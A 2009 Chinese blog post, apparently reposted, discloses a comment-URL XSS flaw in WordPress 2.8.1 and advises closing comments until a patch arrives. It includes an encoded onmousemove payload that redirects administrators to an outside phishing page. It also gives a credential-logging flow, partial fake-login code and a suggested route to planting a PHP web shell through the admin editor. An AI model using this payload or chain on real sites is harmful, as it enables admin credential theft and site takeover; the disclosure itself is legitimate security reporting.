wordpress2.8.1评论显示xss漏洞

自从淡出安全圈后很少再去关注程序的漏洞了,不过偶尔有时间也会去看看,了解一下最新的一些安全信息。
考虑到WP有很多朋友在使用,而且这个漏洞的危害比较大。所以把网上的漏洞信息公布出来!
这个漏洞十几号就已经发布了,不过官方好像还没有修补。自己下载了WP最新版2.8.2想搭在LMAPP测试的,可是昨天安装了DJango和Apache&MYsql配置出了点问题,所以就直接转载空虚浪子心写的测试文章。

Wordpress 2.8.1评论xss漏洞,实际上是个XSS漏洞


XML/HTML代码
  1. 在评论的网址一栏,填写
  2. http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs' onmousemove='location.href=String.fromCharCode(104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);  

这段代码仅供测试,是不能直接用的。

如果你拿我的shellcode去打别人的站,那密码就归我了,来之不拒啊。

 

管理员审核时,只要鼠标从url上路过,就会跳转到http://www.inbreak.net/a.php

 

这里是个假的登录页面,钓鱼用。




管理员登录后,我们就能记录密码。




 

对于整个流程说明:

1,发评论让管理员对你的url有兴趣,然后等管理员上钩。

2,管理员在后台把鼠标移动到你的url上。

3,跳转到a.php,先获取referer。

4,输入密码后,提交到kxlzxtest/testxss/wp.php。

5,referer,user,pass保存为"域名.txt"。

6,输出一段JS,跳转到referer地址去。

 

a.php代码:

PHP代码
  1. $website$_SERVER['HTTP_REFERER'];
  2. $website=strtolower($website);
  3. $website=substr($website,7);
  4. $website=substr($website,0,strpos($website,'/'));
  5. //这个页面是用来冒充登录页面的,危害巨大,代码不方便提供。
  6. ?>

wp.php代码

 

 

嗯。。。本来打算和某个短信平台配合一下,给我发短信提醒的,后来因为懒,就没写。

SHELL代码
  1. php
  2. //被lv老子过滤。
  3. ?>

这只是个DEMO,实际上,后台有编辑PHP文件的功能,你可以写个AJAX出来,自动获取编辑插件文件的页面中的token字段(名字忘记了,叫做XXonce),之后提交一个PHP shell过去。就不用钓鱼了。

 

漏洞代码:

wordpress\wp-admin\includes\template.php

文件中的$author_url没有对单引号做过滤,最后又使用拼接href='$author_url'。

导致我们可以添加一个这个href的事件函数进去。

 

PHP代码
  1. 2085:$author_url = get_comment_author_url();
  2. 2182:case 'author':
  3. echo ""; comment_author(); echo '
    ';
  4. if ( !emptyempty($author_url) )
  5. echo "$author_url_display
    "
    ;

 

 

前台的评论展示,也存在这个漏洞

 

修补方式:

不建议自己手工修补,建议把评论暂时关闭,然后等官方补丁就是了。

到目前为止,官方可能还不知道。

语言不通,好心人看到同时,可以通知下官方。

 

 

 



5 Comments

Leave a Reply
  • 1 F

    ngshaozhu 发表于 2009-07-28 at 23:34 回复 引用

    不关闭评论也可以,只要Blog管理员在后台见评论有显示连接地址的直接删除。
  • 2 F

    要饭的 发表于 2009-07-29 at 09:03 回复 引用

    那2.8.2存在这个问题么
  • 3 F

    TaoGOGO 发表于 2009-07-29 at 13:56 回复 引用

    跨站……WordPress也能跨……灾难……
  • 4 F

    ngshaozhu 发表于 2009-07-29 at 17:01 回复 引用

    WP2.8.2已经修补该漏洞
  • 5 F

    huaimao 发表于 2009-07-29 at 22:25 回复 引用

    偶的是2.8.2的啦!哈哈。